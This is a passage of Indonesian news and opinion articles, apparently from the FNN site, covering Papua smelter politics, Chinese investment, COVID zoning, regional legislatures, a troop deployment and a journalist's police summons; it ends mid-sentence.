kemanusiaan” . Seakan-akan rakyat Papua tidak memiliki hak atas pekerjaan dan penghidupan yang layak bagi kemanusiaan. Jika Pemerintah melihat bahwa pasal 27 ayat (2) itu berlaku juga bagi Papua, Smelter mestinya dapat dibangun di Papua. Atau, dapat kita lihat juga terkait pasal 28 UUD’45, “Setiap orang berhak untuk hidup serta berhak mempertahankan hidup dan kehidupannya” . Orang Papua harus dilihat memiliki hak yang sama juga dengan warga negara yang lain untuk mempertahankan hidup dan kehidupannya baik dalam pembangunan maupun dalam peningkatan perekonomian melalui pembangunan Smelter. Argumen Logis Soal Alasan Banyak opini yang berkembang mendukung Smelter dengan pura-pura bertanya “Mengapa tidak diprotes sebelumnya?” . Cara berlogika tersebut terbalik. Harusnya adalah “kenapa pemerintah tidak mau membangun smelter di Papua agar tidak menimbulkan protes?” atau “kenapa tidak tunjukan bentuk kepedulian (niat) dalam pembangunan ekonomi di Papua melalui smelter?” Ada juga yang beropini bahwa Smelter di bangun di Jawa Timur karena Papua tidak aman. Pada hal, kritikannya, “kenapa negara tidak membuat Papua tanah damai agar dengan Papua tanah damai, Smelter bisa dibangun di Papua?” Cara buat Papua Tanah Damai adalah dengan Gelar Perundingan seperti Aceh-Jakarta. Kenapa negara tidak lakukan perundingan untuk Papua tanah damai? Semangat mewujudkan Papua tanah damai melalui dialog Jakarta-Papua pernah ditawarkan konsepnya kepada Presiden Jokowi pada periode pertama. Sayangnya semangat damai tidak diwujudkan melalui perundingan. Konsep-konsep damai juga bahkan sudah disampaikan sebelum Jokowi jadi Presiden, misalnya pertemuan pimpinan-pimpinan Gereja Papua dengan SBY. Lembaga Ilmu Pengetahuan Indonesia (LIPI) pun merekomendasikan Dialog melalui bukunya Papua Road Map . Bahkan tokoh-tokoh Gereja di Papua pun merekomendasikan Dialog Jakarta-Papua untuk menyelesaikan berbagai masalah di Papua. sayangnya hal itu sampai saat ini tidak dilakukan. UUD’45 pasal 28I ayat (2) menyebutkan “Setiap orang bebas dari perlakuan yang bersifat diskriminatif atas dasar apapun dan berhak mendapatkan perlindungan terhadap perlakuan yang bersifat diskriminatif itu” . Sehingga, jika Aceh bisa digelar proses yang sama, atau jika aspek kemanusiaan dikedepankan untuk di daerah lain, khususnya di pulau Jawa, mestinya Papua juga. Tawaran Solusi Dari tulisan ini, agar terpenuhinya pasal 25; pasal 27 ayat (2); Pasal 28; Pasal 28I ayat (2), saya juga akan memberikan tawaran solusi yang menurut saya mencermikan kebhinekaan dan mencerminkan semangat mewujudkan tujuan nasional dan sebagai prinsip penghormatan pada Hak Asasi Manusia, dan agar menghapus kecurigaan dan menghapus kristalisasinya tirani. Tawaran solusinya adalah: 1) Batalkan pembangunan Smeslter di Jawa Timur apapun alasannya dan bangun di Papua; (2) Gelar Perundingan Jakarta-Papua untuk wujudkan Papua Tanah Damai. Penulis adalah Aktivis Kemanusiaan dan Peminat Hukum Tata Negara

Dahulu Bung Tomo Usir Penjajah, Sekarang Rezim Malah ‘Ngundang'

By Asyari Usman PULUHAN ribu rakyat Surabaya tewas dalam pertempuran tiga minggu melawan tentara Inggris. Perang dahsyat pecah pada 10 November 1945. Surabaya bergenang darah. Alhamdulillah, rakyat menang. Inggris kewalahan. Seorang jenderalnya terbunuh. Sutomo, yang akrab dipanggil Bung Tomo, adalah tokoh dan pemimpin gerakan perlawanan rakyat Surabaya. Beliau mampu mengobarkan semangat tempur rakyat. Inggris masuk ke Indonesia setelah proklamasi kemerdekaan 17 Aguatus 1945 untuk memulihkan status Belanda sebagai penjajah. Spontan rakyat melawan. Disangka Inggris bisa begitu saja penjajahan Belanda dikembalikan lagi. Mungkin karena arogansi mereka. Merasa punya senjata lengkap. Sementara rakyat Indonesia siap mati dengan senjata seadanya. Api perlawanan terhadap penjajah lebih dahsyat dari kehebatan persenjataan mereka. Akhirnya, Inggris angkat kaki. Belanda pun tak punya pilihan lain. Mereka harus keluar. Begitulah rakyat dan para pemimpin perlawanan ketika mengusir penjajah. Mereka setiap hari hidup dalam kejaran tentara musuh. Demi membebaskan Indonesia dari cengkeraman kolonialisme. Agar Indonesia tidak lagi dijajah. Tetapi sekarang, para penguasa malah mengundang penjajah. Dengan dalih investasi asing yang sangat diperlukan. Dan, entah mengapa, investasi asing itu sekarang identik dengan China (RRC). Semua hajat Presiden Jokowi diserahkan kepada China. Para penguasa di lingkungan rezim beralasan bahwa China lebih fleksibel dalam banyak hal. Mudah dan murah. Begitu alasan para penguasa. Masuklah mereka berduyun-duyun. Membuat berbagai proyek pengurasan kandungan bumi di mana-mana. Mereka mendiktekan syarat-syarat investasi. Didatangkanlah ribuan tenaga kerja China sebagai salah satu ketentuan yang harus disepakati rezim Jakarta. Yang masuk ke sini bukan hanya tenaga kerja level atas (manajemen), melainkan semua level. Termasuklah tenaga kerja untuk pekerjaan kasar. Di sejumlah proyek China, kerap terjadi ketegangan antara pekerja lokal dan pekerja impor China. Banyak laporan berita menyebutkan bahwa arogansi pekerja China dan diskriminasi penggajian selalu menjadi pemicu. Akhir-akhir ini, publik melihat pekerja China yang masuk melalui sejumlah bandara bagaikan berada di luar kontrol penguasa. Bahkan banyak yang mencurigai bahwa gelombang masuk orang China ke Indonesia hari-hari ini merupakan bagian dari skenario untuk menguasai negara ini. Mungkinkah? Wallahu a’lam. Bisa saja terjadi seperti dugaan itu. Orang-orang yang paham soal kemiliteran mengatakan orang RRC yang masuk itu bukan orang biasa. Mereka menunjukkan ciri-ciri fisik yang terlatih. Apa pun itu, kesibukan investasi China sekarang ini sangat wajar memancing orang untuk berkomentar pedas. Yang berlangsung belakangan ini memang serba mencurigakan. Dan membuat publik khawatir tentang masa depan bangsa dan negara. Wajarlah jika publik mendikotomikan situasi 10 November 1945 dengan keadaan yang ada saat ini. Pantas mereka bandingkan suasana dahulu dengan era sekarang. Dulu, Bung Tomo mengusir penjajah. Sekarang, rezim malah mengundang mereka. Mereka lupakan tragedi Surabaya yang merenggut 20,000 nyawa pejuang. Mereka pura-pura tafakur setiap 10 November yang dijadikan Hari Pahlawan itu.[] (Penulis wartawan senior FNN)

Kabupaten Nias Barat di Sumut Berstatus Zona Hijau COVID-19

Medan, FNN - Satuan Tugas (Satgas) Penanganan COVID-19 menyatakan Kabupaten Nias Barat di Provinsi Sumatera Utara kini berstatus sebagai zona hijau COVID-19 yang sebelumnya berada di zona kuning. Kondisi tersebut dikutip dari situs resmi Satgas Penanganan COVID-19 di covid19.go.id di Medan, Rabu, berdasarkan data hingga 10 November 2021. Berdasarkan data tersebut, Kabupaten Nias Barat menjadi satu-satunya daerah yang masuk kategori zona hijau dari total 33 kabupaten/kota di Provinsi Sumut. Sementara itu, sebanyak 32 kabupaten/kota lainnya di Sumut masih berada di zona kuning COVID-19. Ke-32 daerah tersebut yakni Kota Medan, Tebing Tinggi, Pakpak Bharat, Samosir, Tanjung Balai, Labuhanbatu, Mandailing Natal, Padang Lawas, Gunung Sitoli. Kemudian, Tapanuli Tengah, Nias, Deli Serdang, Dairi, Toba Samosir, Padang Lawas Utara, Tapanuli Selatan, Langkat, Tapanuli Utara, Padangsidempuan, Binjai, Nias Utara, Humbang Hasundutan, Simalungun, Karo Selanjutnya, Asahan, Nias Selatan, Pematangsiantar, Labuhan Batu Selatan, Sibolga, Labuhan Batu Utara, Batu Bara dan Serdang Bedagai. Sebagai informasi, peta zonasi risiko daerah dihitung berdasarkan indikator-indikator kesehatan masyarakat dengan menggunakan skoring dan pembobotan. Indikator-indikator yang digunakan seperti indikator epidemiologi yaitu penurunan jumlah kasus positif, suspek dan sebagainya. Kemudian, indikator surveilans kesehatan masyarakat seperti jumlah pemeriksaan sampel diagnosis, serta indikator pelayanan kesehatan yakni jumlah keterisian tempat tidur di ruang isolasi rumah sakit rujukan untuk pasien COVID-19. (sws)

Sumut Tambah Tiga Emas di Peparnas Papua

Medan, FNN - Kontingen Sumatera Utara menambah tiga medali emas pada Pekan Paralimpik Nasional (Peparnas) 2021/XVI di Papua sehingga dengan demikian total Sumut telah mengumpulkan 16 emas, 13 perak, dan 7 perunggu. Ketua National Paralympic Comitte (NPC) Sumatera Utara, Alan Sastra Ginting, di Jayapura, Rabu, mengaku optimistis medali Sumut terus bertambah. Terutama cabang olahraga atletik dan renang yang memastikan atletnya ke final. Apalagi, masih banyak atlet elit yang belum bertanding di beberapa cabang olahraga. "Angkat berat juga mulai bertanding. Ini juga salah satu cabang olahraga andalan Sumut meraih medali. Begitu juga catur masih pertandingkan nomor standar," katanya. Sementara Ketua Kontingen Sumut, Ardan Noor Hasibuan, mengapresiasi perjuangan para atlet yang telah menorehkan medali. Ardan Noor menilai pencapaian Sumut di Peparnas Papua sudah sangat baik, terbukti hingga hari keempat sudah 16 medali emas yang diboyong. "Kita selalu memotivasi terus mereka baik materi maupun spiritual. Kita selama ini terus latihan maksimal di daerah meski masa COVID -19. Harapan kita mudah-mudahan pada Peparnas tahun ini hasilnya maksimal," ujar Ardan Noor yang juga Kadis Pemuda dan Olahraga Sumut ini. Dalam waktu dekat, Dispora akan mendorong pemerintah daerah guna menjaring atlet difabel berbakat, terutama persiapan jangka panjang menuju Peparnas 2024. "Alhamdulillah kita masih diperhitungkan di Indonesia. Tentunya kita berharap lebih baik dari ini. Tapi, jika dibanding tahun lalu, saya lihat pencapaian atlet Sumut sudah mulai ada peningkatan," katanya. (sws)

Moderna Minta Izin EU untuk Penggunaan Vaksin COVID pada Anak Kecil

Bengaluru, FNN - Moderna Inc pada Selasa (9/11) mengajukan permohonan izin kepada Uni Eropa (EU) untuk penggunaan vaksin COVID-19 pada anak-anak berusia 6-11 tahun. Pengajuan Moderna kepada EU itu dilakukan beberapa minggu setelah menunda pengajuan serupa dengan regulator AS. Uni Eropa pada Juli mengizinkan vaksin COVID buatan Moderna untuk digunakan pada remaja berusia 12 hingga 17 tahun. Namun, beberapa negara termasuk Swedia menghentikan penggunaannya untuk orang berusia 30 tahun atau lebih muda karena efek samping terkait jantung yang jarang terjadi. Pada akhir Oktober, Moderna mengatakan bahwa regulator obat Amerika Serikat membutuhkan lebih banyak waktu untuk menyelesaikan tinjauan tentang penggunaan vaksin Moderna pada kelompok usia 12-17 tahun. Hal itu karena pihak regulator AS perlu mempelajari risiko jenis peradangan jantung yang disebut miokarditis setelah penggunaan vaksin. Moderna menunda pengajuan izin penggunaan vaksin di AS untuk anak-anak berusia 6 hingga 11 tahun, sementara badan pengawas obat dan makanan AS (FDA) masih menyelesaikan tinjauannya untuk penggunaan vaksin pada kelompok usia 12 hingga 17 tahun. Sebelumnya pada Oktober, Moderna mengatakan vaksinnya menghasilkan respons kekebalan yang kuat pada anak-anak berusia 6 hingga 11 tahun dan berencana untuk segera mengirimkan datanya ke para regulator global. Moderna pada Selasa mengatakan bahwa pihaknya telah mengajukan permohonan kepada European Medicines Agency untuk penggunaan dosis vaksin 50 mikrogram pada anak-anak, yakni setengah dari dosis vaksin yang digunakan pada orang dewasa. (sws)

Korban Penembakan di Kampung Mamba Dievakuasi ke Timika

Jayapura, FNN - Wanita yang mengalami luka tembak di sekitar Kampung Mamba, Kabupaten Intan Jaya, Papua, Agustina (bukan Agustinus red) Hondau (24 tahun), Rabu sekitar pukul 08.59 WIT dievakuasi ke Timika. Evakuasi menggunakan pesawat Smart Aviation PK-SNH, kata Dandim 1705-Nabire Letkol Inf Anjuanda Pardosi kepada Antara di Jayapura, Rabu. Dandim yang dihubungi melalui telepon selularnya mengaku, korban dievakuasi ke Timika untuk mendapat penanganan intensif di rumah sakit yang ada di Timika. Sebelumnya anggota bersama warga mengevakuasi korban dari kampungnya ke Sugapa dan kemudian diterbangkan ke Timika dengan menggunakan Smart Air. Diakui, pihaknya belum mengetahui tembakan yang pelurunya mengetahui korban berasal dari mana mengingat lokasi itu merupakan tempat sering terjadinya gangguan dari KSB terhadap anggota TNI-Polri. Korban mengalami luka tembak saat melintas di kawasan itu, Senin (9/11), jelas Letkol Inf Pardosi. (sws)

Legislatif Lebak Prihatin Kasus Kekerasan Terhadap Anak Meningkat

Lebak, FNN - Anggota DPRD Kabupaten Lebak Musa Weliansyah merasa prihatin kasus kekerasan terhadap anak di bawah umur di daerah ini meningkat, sehingga perlu penanganan serius dari pemerintah setempat untuk memutus mata rantai kekerasan itu. "Kami menerima laporan dari unit Pelayanan Perempuan dan Anak ( PPA) Polres Lebak sejak empat bulan jumlah kekerasan anak mencapai 21 kasus, padahal sebelumnya hanya di bawah 10 kasus, " kata Musa Weliansyah di Lebak, Rabu. Meningkatnya kasus kekerasan yang dialami anak-anak perlu ditangani komprehensif secara menyeluruh dan berkelanjutan agar ke depan tidak ada lagi. Pemerintah daerah harus berupaya dan berusaha semaksimal mungkin untuk memperhatikan kasus kekerasan anak dan perempuan. "Ini persoalan serius yang harus menjadi perhatian Bupati Lebak dan jangan sampai kasus kekerasan anak itu meningkat," kata politisi PPP Lebak ini. Menurut dia, sebagian besar kasus kekerasan anak dan perempuan itu, mereka korban pencabulan seksual dan fisik. Namun, pihaknya mengapresiasi unit PPA Polres Lebak bekerja maksimal dalam menangani perkara tersebut dari mulai penyelidikan hingga proses persidangan di Pengadilan Negeri. Dengan demikian, pihaknya mendorong RAPBD Lebak tahun 2022 dapat dialokasikan anggaran hibah untuk unit PPA Polres Lebak. Pengalokasian dana hibah untuk PPA Polres Lebak perlu dilakukan sebagai bentuk upaya pemerintah setempat mendukung penanganan kasus kekerasan terhadap anak di bawah umur. "Saya kira kasus kekerasan anak dan KDRT dinilai lebih tepat untuk memberikan bantuan hibah pada polres dibandingkan organisasi yang bergerak di bidang perlindungan perempuan dan anak lainnya, " katanya menegaskan. Ia mengatakan, kasus yang melibatkan anak di bawah umur memerlukan penanganan khusus termasuk perlindungan terhadap para korban dan keluarganya, sehingga pemerintah daerah harus ada bersama dengan para korban. Selama ini , perhatian pemerintah daerah belum maksimal dan mereka para korban mengalami kesulitan di saat menjalani proses hukum walau sebagai pelapor. Sebab, kasus tersebut harus ke polres, kejaksaan dan pengadilan tentu mengeluarkan biaya transportasi cukup besar jika pelapor dari Kecamatan Wanasalam dan Malingping. "Kami berharap mereka para korban juga mendapat pendampingan agar tidak banyak mengeluarkan biaya untuk kemudahan proses kasus itu, " ujarnya. Sementara itu, Kepala Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan, dan Perlindungan Anak (DP2KBP3A) Kabupaten Lebak Dedi Lukman Indepur mengatakan kasus kekerasan anak dan perempuan sejak Januari-September 2021 meningkat dari 45 kasus pada 2020 menjadi 55 kasus pada periode yang sama tahun ini. Mereka para korban kejahatan pelecehan seksual adalah pelajar, warga dan santri, sedangkan pelakunya orang-orang dekat di antaranya ayah tiri, paman, guru, ustaz, hingga saudara sepupu. Untuk menekan kekerasan terhadap anak, Pemerintah Kabupaten Lebak menyosialisasikan Lembaga Peduli Anak Terpadu Berbasis Masyarakat (LPATBM). "Kami berharap semua desa di 340 desa memiliki LPATBM guna meminimalisasi kekerasan terhadap anak dan perempuan " katanya. (sws)

DPRD Minta Pemkab Kotim Perjelas Pengelolaan Perparkiran

Sampit, FNN - Ketua Komisi IV DPRD Kabupaten Kotawaringin Timur Muhammad Kurniawan Anwar mengingatkan sudah saatnya pemerintah kabupaten setempat untuk memperjelas mekanisme penyelenggaraan dan pengelolaan perparkiran agar tidak menimbulkan kecurigaan dan masalah berlarut-larut. "Salah satu hal yang perlu ditegaskan adalah tentang bagaimana mekanisme lelangnya dan bagaimana retribusinya. Itu yang perlu digali secara mendalam," kata Kurniawan di Sampit, Rabu terkait keluhan masyarakat terhadap perparkiran. Kurniawan menyoroti bidang perparkiran karena masih kerap menjadi keluhan masyarakat. Beberapa masalah yang sering disoroti adalah tidak adanya karcis, tarif parkir yang melebihi aturan, perilaku petugas parkir, serta transparansi mekanisme penyelenggaraan serta retribusi parkir. Usulan perubahan peraturan daerah oleh eksekutif menjadi momen bersama untuk mengevaluasi bidan perparkiran. Selain penataan, bidang ini juga merupakan bagian dari pelayanan kepada masyarakat, namun juga menjadi sumber pendapatan asli daerah yang harus dikelola secara transparan dan bertanggung jawab. Kurniawan berulang kali mengingatkan agar pemerintah daerah terus berupaya keras menekan potensi kebocoran pendapatan, salah satunya dari bidang perparkiran. "Nanti saat pembahasan raperda pada 2022 nanti hal-hal penting ini akan kita bahas bersama supaya semua jelas. Kita optimalkan bidang perparkiran ini," kata Kurniawan. Rencana pengusulan perubahan Peraturan Daerah tentang Penyelenggaraan Perparkiran sudah dibahas dalam rapat Badan Pembentukan Peraturan Daerah DPRD Kotawaringin Timur pada Senin (8/11). Kepala Bidang Pembinaan, Keselamatan dan Perparkiran, Nanang Suriansyah menjelaskan, selama ini penyelenggaraan perparkiran di Kotawaringin Timur mengacu pada Peraturan Daerah Nomor 19/2010 tentang Penyelenggaraan Perparkiran di Kabupaten Kotawaringin Timur. Peraturan daerah inilah yang diusulkan diubah untuk disesuaikan dengan kondisi di lapangan. "Pada Pasal 15 berkaitan penyelenggaraan dan pengelolaan parkir, memang tidak disebutkan apakah lelang atau PL (penunjukan langsung). Ini nanti bisa juga dibahas. Kajian teknis kita melihat potensi di lapangan tidak melihat angka tertinggi, tapi kita mengutamakan keselamatan," kata Nanang. Dinas Perhubungan mengutamakan pertimbangan kelancaran dan keselamatan lalu lintas dan angkutan jalan dalam hal penyelenggaraan perparkiran. Hal ini pula yang menjadi pertimbangan dalam penetapan zona-zona parkir. "Saat ini acuan kita ada Peraturan Bupati Kotawaringin Timur Nomor 46/2011 berkaitan zona parkir. Ada 36 zona parkir. Ada yang potensi dan ada pula tidak. Revisi diusulkan karena akan ada zona yang digabungkan, serta pertimbangan lain," demikian Nanang. (sws)

Legislator Kotim Minta Pemkab Siapkan Raperda Sampit Kota Cerdas

Sampit, FNN - Ketua Komisi IV DPRD Kabupaten Kotawaringin Timur, Provinsi Kalimantan Tengah, Muhammad Kurniawan Anwar meminta Pemerintah Kabupaten (Pemkab) Kotawaringin Timur segera menyiapkan rancangan peraturan daerah tentang Sampit Smart City untuk dibahas dan ditetapkan sebagai perda yang menjadi dasar kebijakan terkait Sampit Kota Cerdas. "Daerah kita sudah ditetapkan menjadi calon smart city. Oleh karena itu perda (peraturan daerah) terkait Kominfo (komunikasi dan informatika) sangat diperlukan untuk mendukung program itu," kata Kurniawan di Sampit, Rabu. DPRD mendukung tekad Pemerintah Kabupaten Kotawaringin Timur mewujudkan daerah ini menjadi smart city. Untuk itu pula dia mendukung dibuatnya regulasi demi kelancaran mencapai tujuan tersebut. Pemerintah kabupaten melalui Dinas Komunikasi dan Informatika Kotawaringin Timur mengusulkan rancangan peraturan daerah tentang Penyelenggaraan Komunikasi dan Informatika, Statistik Sektoral dan Persandian. Rancangan peraturan daerah ini akan dibahas pada 2022 nanti. Kurniawan menilai pembuatan regulasi ini sebagai langkah maju untuk mewujudkan smart city. Gambaran perubahan positif yang akan dicapai nantinya salah satunya adalah kemudahan pelayanan satu pintu dengan berbasis teknologi informasi. Dia menyebut saat ini beberapa daerah di Indonesia telah melangkah maju mewujudkan kemajuan teknologi informasi tersebut, salah satunya Kota Bandung. Semua sistem informasi pemerintah daerah sudah terintegrasi dikomandoi oleh Dinas Komunikasi dan Informatika, bahkan juga bermanfaat bagi instansi lain seperti polisi lalu lintas dan lainnya. "Saat ini sistem informasi di Kotawaringin Timur beberapa diantaranya sudah terkoneksi dengan Diskominfo Kotawaringin Timur. Nantinya diharapkan perda ini dapat terlaksana sehingga terwujud pelayanan satu pintu terkait informasi data dan informasi kejadian di lapangan," ujar Kurniawan. Sementara itu Pemerintah Kabupaten Kotawaringin Timur terus memantapkan langkah mewujudkan smart city. Pekan lalu Dinas Komunikasi dan Informatika menandatangani perjanjian kerja sama dengan Universitas Darwan Ali (Unda) dalam upaya mewujudkan smart city atau Sampit Kota Cerdas. "Kerja sama dengan Universitas Darwan Ali ini dalam hal penyiapan sumber daya manusia kita yaitu supaya ASN (aparatur sipil negara) kita juga sudah siap. Unda memiliki fakultas yang konsen dalam hal teknologi informasi, jadi mereka akan membantu kita," kata Bupati Halikinnor. Halikinnor menjelaskan, ada 200 kabupaten di Indonesia yang mengikuti program smart city. Dari jumlah tersebut pemerintah pusat akan memilih 50 kabupaten untuk dibina dalam mewujudkan smart city. Pemerintah Kabupaten Kotawaringin Timur telah menyambut program Smart City ini dengan meluncurkan program yang diberi nama Sampit Creative Hub. Program yang dikomandoi Dinas Komunikasi dan Informatika ini bertujuan memudahkan pelayanan kepada masyarakat, sekaligus membuka akses yang lebih luas bagi publik dalam hal pelayanan, khususnya yang berkaitan dengan pelayanan berbasis digital atau online. Kepala Dinas Komunikasi dan Informatika Kotawaringin Timur, Multazam mengatakan, salah satu dari enam dimensi yang penting dalam smart city adalah sumber daya manusia karena menyangkut kemampuan, kapasitas dan kompetensi. "Ini supaya terjadi loncat-loncatan sangat cepat sehingga enam tahun ke depan smart city itu sudah bisa kita raih. Kerja sama ini untuk membantu kinerja pemerintah agar bisa dengan kecepatan tinggi dalam melakukan penyesuaian," demikian Multazam. (sws)

Pemkab Bangka Raih Penghargaan Top 45 Gerbang Lestari

Sungailiat, Bangka, FNN - Pemerintah Kabupaten (Pemkab) Bangka, Provinsi Kepulauan Bangka Belitung meraih penghargaan Top 45 dari Kemenpan RB dalam Inovasi Gerakan Pembangunan Melestarikan Lingkungan (Gerbang Lestari). "Inovasi Gerbang Lestari yang mengembangkan Kampong Reklamasi Air Jangkang bersama PT Timah Tbk berhasil meraih penghargaan dalam ajang kompetisi Inovasi Pelayanan Publik Nasional (Sinovik) Tahun 2021," kata Sekda Bangka Andi Hudirman, di Sungailiat, Rabu. Dia menyatakan, terpilihnya inovasi Gerbang Lestari untuk meraih penghargaan Top 45, setelah sebelumnya berhasil melewati seleksi Top 90 bersaing dengan sejumlah pemerintah daerah di Indonesia. "Penghargaan Top 45 Gerbang Lestari yang diserahkan langsung oleh Menteri PAN-RB Tjahjo Kumolo secara virtual menambah daftar prestasi penghargaan Kabupaten Bangka di tingkat nasional," ujar Sekda. Andi Hudirman mengatakan, atas keberhasilan meraih penghargaan Top 45, Pemkab Bangka tahun anggaran 2022 akan mendapat dana insentif daerah (DID) sebesar Rp8 miliar dari pemerintah pusat. "Saya atas nama Pemerintah Kabupaten Bangka menyampaikan terima kasih ke semua pihak yang telah mendukung program pembangunan daerah termasuk dukungan meraih penghargaan," ujarnya. Kampong Air Jukung merupakan area bekas penambangan biji timah yang berhasil dikembangkan sebagai kawasan reklamasi untuk perkebunan buah-buahan dan pembibitan berbagai jenis tanaman. (sws)

DPRD Palu Desak Tunda Pembahasan APBD Kota Palu 2022

Palu, FNN - Badan Anggaran (Banggar) Dewan Perwakilan Rakyat Daerah (DPRD) Kota Palu mendesak penundaan pembahasan Rancangan Peraturan Daerah (Raperda) Anggaran Pendapatan dan Belanja Daerah (APBD) Kota Palu Tahun Anggaran 2022. Penyebab desakan penundaan pembahasan itu adalah Banggar DPRD Palu baru menerima dokumen Rencana Kerja Anggaran (RKA) seluruh organisasi perangkat daerah (OPD) yang telah diasistensi saat rapat pembahasan Raperda APBD Kota Palu 2022 dalam rapat antara Banggar DPRD Palu dengan Pemkot Palu di ruang sidang utama Kantor DPRD Palu, Selasa. "Pemerintah Kota Palu tidak komitmen karena sebelumnya kami meminta tiga hari sebelum rapat banggar hari ini digelar, dokumen RKA OPD sudah berada di tangan kami. Akan tetapi nanti hari ini diserahkan kepada kami," ujar Anggota Banggar DPRD Palu Muhammad Syarif. Ia menyatakan isi RKA OPD yang diserahkan sangat banyak, sehingga mustahil bagi anggota banggar bisa mempelajari dan menelaah RKA tersebut saat itu juga. "Bagaimana mungkin kami bisa mempelajari dokumen setebal ini hanya dalam waktu singkat. Hanya orang yang luar biasa sekali mampu mempelajari dalam waktu singkat," katanya. Kritikan juga dilontarkan Anggota Banggar DPRD Palu Ahmad Umayer. Ia menyebut sejumlah OPD yang telah membahas RKA di tingkat komisi di DPRD Palu tidak menyampaikan hasil asistensinya kembali kepada komisi. "Kami sudah sampaikan sepuluh hari lalu bahwa jika telah selesai diasistensi, tolong hasilnya disampaikan kepada Komisi DPRD Palu," ujarnya pula. Dia juga menyayangkan Pemkot Palu baru menyerahkan dokumen RKA hasil asistensi tersebut kepada seluruh anggota banggar saat rapat. Tidak mungkin anggota Banggar DPRD Palu dapat menyetujui item-item dalam RKA dalam rapat tersebut sementara seluruh anggota banggar belum mempelajarinya. "Bagaimana mungkin kami bisa mempelajarinya dalam waktu sesingkat ini. Kami minta rapat pada hari ini ditunda," katanya lagi. Setelah mendengarkan berbagai tanggapan, Wakil Ketua Banggar DPRD Palu Erman Lakuana yang memimpin jalannya rapat memutuskan menunda rapat. (sws)

Pangdam XIII/Merdeka Lepas Yonif 711/Raksatama Satgas Pamtas RI-PNG

Manado, FNN - Panglima Kodam (Pangdam) XIII/Merdeka Mayjen TNI Wanti WF Mamahit melepas keberangkatan Satgas Yonif 711/Raksatama Brigif 22/Otamanasa yang akan melaksanakan tugas Operasi Pengamanan Perbatasan (Pamtas) Republik Indonesia dan Papua Nugini (PNG) sektor utara. Pangdam XIII/Merdeka Mayjen TNI Wanti WF.Mamahit, dalam sambutan melepas prajurit ke perbatasan RI-PNG, di Pelabuhan Lanal Palu, Selasa, mengatakan bahwa tugas ini tentunya tidaklah ringan. "Kepada seluruh prajurit Satgas Yonif 711/Raksatama agar melaksanakan tugas operasi ini dengan sebaik-baiknya," kata Pangdam melalui keterangan tertulis. Ia mengatakan berangkat dengan kehormatan, kembali dengan kebanggaan. ”Jangan pernah lengah saat bertugas, jangan ceroboh dalam melaksanakan kegiatan harus ada tim pengamanan. Kalian harus banyak inovasi, naluri taktis, jangan sampai terjebak dalam rutinitas dan merasa aman, KKB bukan prajurit yang terlatih, tetapi mereka punya senjata," kata Pangdam. Pangdam mengatakan, pedomani doktrin tugas operasi, setiap prajurit harus bisa menempatkan diri di tengah-tengah masyarakat, bisa mengayomi, bisa merebut hati rakyat agar dapat mendukung setiap kegiatan satgas. "Hindari pelanggaran sekecil apa pun dan jaga nama baik satuan, serta selalu berdoa sebelum dan setelah kegiatan," kata Pangdam lagi. Satgas Pamtas RI-PNG sebanyak 450 prajurit itu, dipimpin oleh Komandan Batalion Infanteri Yonif 711/Raksatama Letkol Inf Mutakbir, dan akan bertugas selama 9 bulan, dengan menggunakan KRI 592 Banjarmasin. Hadir pada upacara keberangkatan tersebut, Danrem 132/Tdl Brigjen TNI Farid Makruf, Kapolda Sulteng diwakili oleh Wakapolres Palu Kompol Yardi Kamril, Danlanal Palu Kolonel Mar Marthin Luther Ginting, Asintel Kasdam XIII/Mdk Kol Kav Kapti Hertantyawan, Asops Kasdam XIII/Mdk Kol Inf Sutrisno Pujiono. Kemudian Aster Kasdam XIII/Mdk Kolonel Inf Idris, Danbrigif 22/OM Kol Inf Made Sandy Agusto, Kasi Intel Kasrem 132/Tdl Kolonel Arh Rahmat Santoso, Kasi Ops Kasrem 132/Tdl Kolonel Inf I Ketut M Gunarda, Kasi Renc Kasrem 132/Tdl Kolonel Kav Moh Wahyudi, Kasi Ter rem 132/Tdl Kolonel Inf H Rahman T Leho, dan Dandim 1306/Kota Palu Kolonel Inf Heri Bambang Wahyudi. (sws)

Tidak Ada Hal yang Dilanggar Hersubeno Arief: Tuntutan Salah Alamat

Oleh Ady Amar *) HARI ini, Rabu, 10 November 2021, bisa jadi hari tidak mengenakkan buat Hersubeno Arief, wartawan senior Forum News Network (FNN). Hari ini rencana ia akan diperiksa di Polda Metro Jaya, memenuhi Panggilan Klarifikasi Saksi. Ia dilaporkan DPD PDI-P DKI Jakarta dengan tuduhan telah menyebarkan kabar bohong (hoax) atas kondisi kesehatan dari Ketua Umum DPP PDI-P Megawati Soekarnoputri. Dan memang lewat channel "Hersubeno Point", FNN, tanggal 9 September 2021, ia memberitakan sebuah berita rumor tentang sakitnya Ibu Megawati, yang tengah di rawat di RSP Pertamina. Kasus ini sebenarnya tidaklah perlu harus diperpanjang. Dan jika harus dipersoalkan, ranahnya ada pada Dewan Pers, bukan ke kepolisian. Melaporkan pada polisi, ini tentu langkah salah alamat. Hersubeno Arief, wartawan yang tercatat sebagai anggota Persatuan Wartawan Indonesia (PWI). Ia berkecimpung di dunia pers lebih dari 30 tahun. Maka, jika ditemukan sengketa yang berkenaan dengan kerja jurnalistiknya, maka penyelesaiannya diatur pada UU Pers No 40 Tahun 1999. Di samping itu ada pula nota kesepemahaman antara Dewan Pers dengan Polri No 2/DP/MoU/II/2017, tentang Koordinasi dalam Perlindungan Kemerdekaan Pers dan Penegakan Profesi Wartawan. Maka, sengketa apa pun dengan siapa pun tidak bisa ditarik pada ranah UU ITE. Jadwal pemanggilan Hersubeno, mestinya pada Kamis, 4 November 2021, tapi ia berhalangan, dan memastikan hadir hari ini, tepat di Hari Pahlawan. Tentu ini bisa jadi catatan tersendiri buatnya, setidaknya untuk mengingat di tanggal cantik ini, ia harus menghadapi tuntutan atas kerja jurnalistiknya. Tidak Ada yang Dilanggarnya Hersubeno menyampaikan, bahwa seorang dokter kenalannya "memastikan" bahwa Ibu Megawati sedang dirawat di ICU. Coba cermati kalimat lanjutan yang disampaikan Hersubeno. Sebagai wartawan senior dengan jam terbang panjang, ia melakukan apa yang disebut dengan verifikasi atas sebuah berita. Ia mengatakan, berita yang diterimanya dari dokter kenalannya, meski dokter itu memastikan kebenaran berita itu dengan 1.000 persen segala, ia masih mengatakan bahwa berita yang disampaikannya itu belum dipastikan kebenarannya. Karenanya, Hersubeno tetap memberikan porsi berimbang saat memberitakan berita itu. Ia sampaikan bantahan dari Sekjen PDI-P, Hasto Kristianto, tentang berita sakitnya Ibu Megawati. Menyertakan juga apa yang disampaikan Wakil Sekjen PDI-P, Sadarertuati, yang dengan tegas membantah 